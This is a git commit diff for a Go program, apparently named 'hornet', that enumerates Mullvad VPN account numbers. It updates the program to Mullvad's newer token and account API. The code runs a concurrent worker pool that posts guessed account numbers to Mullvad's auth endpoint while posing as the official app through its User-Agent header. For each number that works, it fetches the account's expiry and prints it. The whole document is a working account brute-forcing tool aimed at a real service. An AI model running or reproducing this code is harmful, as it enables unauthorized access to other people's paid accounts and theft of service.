Updated to latest Mullvad API
This commit is contained in:
parent
dd37bea3bf
commit
5c2d56f315
120
hornet.go
120
hornet.go
|
@ -1,13 +1,15 @@
|
||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"bytes"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"math/rand"
|
"math/rand"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
"net/url"
|
||||||
"strings"
|
"os"
|
||||||
|
"strconv"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/panjf2000/ants"
|
"github.com/panjf2000/ants"
|
||||||
|
@ -32,31 +34,55 @@ type Login struct {
|
||||||
Results chan string
|
Results chan string
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// API request
|
||||||
|
type Request struct {
|
||||||
|
Account string `json:"account_number"`
|
||||||
|
}
|
||||||
|
|
||||||
// API error
|
// API error
|
||||||
type Error struct {
|
type Error struct {
|
||||||
Code string `json:"code"`
|
Code string `json:"code"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// API response
|
// API response
|
||||||
type Response struct {
|
type TokenResponse struct {
|
||||||
Account struct {
|
AccessToken string `json:"access_token"`
|
||||||
Expires string `json:"expires"`
|
}
|
||||||
} `json:"account"`
|
|
||||||
|
type AccountResponse struct {
|
||||||
|
Expiry string `json:"expiry"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// Attempt a login
|
// Attempt a login
|
||||||
func (l *Login) Attempt() {
|
func (l *Login) Attempt() {
|
||||||
// GET request
|
// Create struct
|
||||||
|
post := Request{
|
||||||
|
Account: strconv.Itoa(l.Number),
|
||||||
|
}
|
||||||
|
|
||||||
|
// Encode data
|
||||||
|
data, err := json.Marshal(post)
|
||||||
|
if err != nil {
|
||||||
|
l.Results <- ""
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// POST request
|
||||||
req, err := http.NewRequest(
|
req, err := http.NewRequest(
|
||||||
"GET",
|
"POST",
|
||||||
fmt.Sprintf("https://api.mullvad.net/www/accounts/%d", l.Number),
|
"https://api.mullvad.net/auth/v1/token",
|
||||||
nil,
|
bytes.NewBuffer(data),
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
l.Results <- ""
|
l.Results <- ""
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Set headers
|
||||||
|
req.Header.Set("Host", "api.mullvad.net")
|
||||||
|
req.Header.Set("User-Agent", "mullvad-app")
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
|
||||||
// Execute request
|
// Execute request
|
||||||
res, err := l.Client.Do(req)
|
res, err := l.Client.Do(req)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
@ -72,32 +98,84 @@ func (l *Login) Attempt() {
|
||||||
}
|
}
|
||||||
|
|
||||||
// Store JSON
|
// Store JSON
|
||||||
var response Response
|
var tokenResponse TokenResponse
|
||||||
var error Error
|
var error Error
|
||||||
|
|
||||||
// Parse JSON
|
// Parse JSON
|
||||||
json.Unmarshal(body, &response)
|
json.Unmarshal(body, &tokenResponse)
|
||||||
json.Unmarshal(body, &error)
|
json.Unmarshal(body, &error)
|
||||||
|
|
||||||
// Account found
|
fmt.Fprintf(os.Stderr, "Error: %s\n", error.Code)
|
||||||
if response.Account.Expires != "" {
|
|
||||||
l.Results <- fmt.Sprintf("Account %d expires at %s", l.Number, response.Account.Expires)
|
// Success
|
||||||
return
|
if tokenResponse.AccessToken != "" {
|
||||||
|
// Create struct
|
||||||
|
get := Request{
|
||||||
|
Account: strconv.Itoa(l.Number),
|
||||||
}
|
}
|
||||||
|
|
||||||
// Error found
|
encoded_get, err := json.Marshal(get)
|
||||||
if error.Code != "" ||
|
if err != nil {
|
||||||
strings.ContainsAny(string(body), "503 Service Temporarily Unavailable") {
|
|
||||||
l.Results <- ""
|
l.Results <- ""
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GET request
|
||||||
|
account_req, err := http.NewRequest(
|
||||||
|
"GET",
|
||||||
|
"https://api.mullvad.net/accounts/v1/accounts/me",
|
||||||
|
bytes.NewBuffer(encoded_get),
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
l.Results <- ""
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set headers
|
||||||
|
account_req.Header.Set("Host", "api.mullvad.net")
|
||||||
|
account_req.Header.Set("User-Agent", "mullvad-app")
|
||||||
|
account_req.Header.Set("Content-Type", "application/json")
|
||||||
|
account_req.Header.Set(
|
||||||
|
"Authorization",
|
||||||
|
fmt.Sprintf("Bearer %s", tokenResponse.AccessToken),
|
||||||
|
)
|
||||||
|
|
||||||
|
// Execute request
|
||||||
|
res, err := l.Client.Do(account_req)
|
||||||
|
if err != nil {
|
||||||
|
l.Results <- ""
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Read body
|
||||||
|
body, err := io.ReadAll(res.Body)
|
||||||
|
if err != nil {
|
||||||
|
l.Results <- ""
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Store JSON
|
||||||
|
var account_response AccountResponse
|
||||||
|
|
||||||
|
// Parse JSON
|
||||||
|
json.Unmarshal(body, &account_response)
|
||||||
|
|
||||||
|
// Account found
|
||||||
|
if account_response.Expiry != "" {
|
||||||
|
l.Results <- fmt.Sprintf("Account %d expires at %s", l.Number, account_response.Expiry)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Error found
|
||||||
|
l.Results <- ""
|
||||||
}
|
}
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
// Get job count
|
// Get job count
|
||||||
jobs := amount
|
jobs := amount
|
||||||
|
|
||||||
// Half worker amount
|
// Halve worker amount
|
||||||
if workers == jobs {
|
if workers == jobs {
|
||||||
workers = workers / 2
|
workers = workers / 2
|
||||||
} else if workers >= jobs {
|
} else if workers >= jobs {
|
||||||
|
@ -105,7 +183,7 @@ func main() {
|
||||||
}
|
}
|
||||||
|
|
||||||
// Results channel, new pool
|
// Results channel, new pool
|
||||||
results := make(chan string)
|
results := make(chan string, amount)
|
||||||
pool, err := ants.NewPool(workers)
|
pool, err := ants.NewPool(workers)
|
||||||
// Handle error
|
// Handle error
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
@ -147,7 +225,7 @@ func main() {
|
||||||
}
|
}
|
||||||
|
|
||||||
// Recieve all results
|
// Recieve all results
|
||||||
for r := 1; r <= jobs; r++ {
|
for r := 0; r <= jobs; r++ {
|
||||||
result := <-results
|
result := <-results
|
||||||
if result != "" {
|
if result != "" {
|
||||||
fmt.Println(result)
|
fmt.Println(result)
|
||||||
|
|
Loading…
Reference in New Issue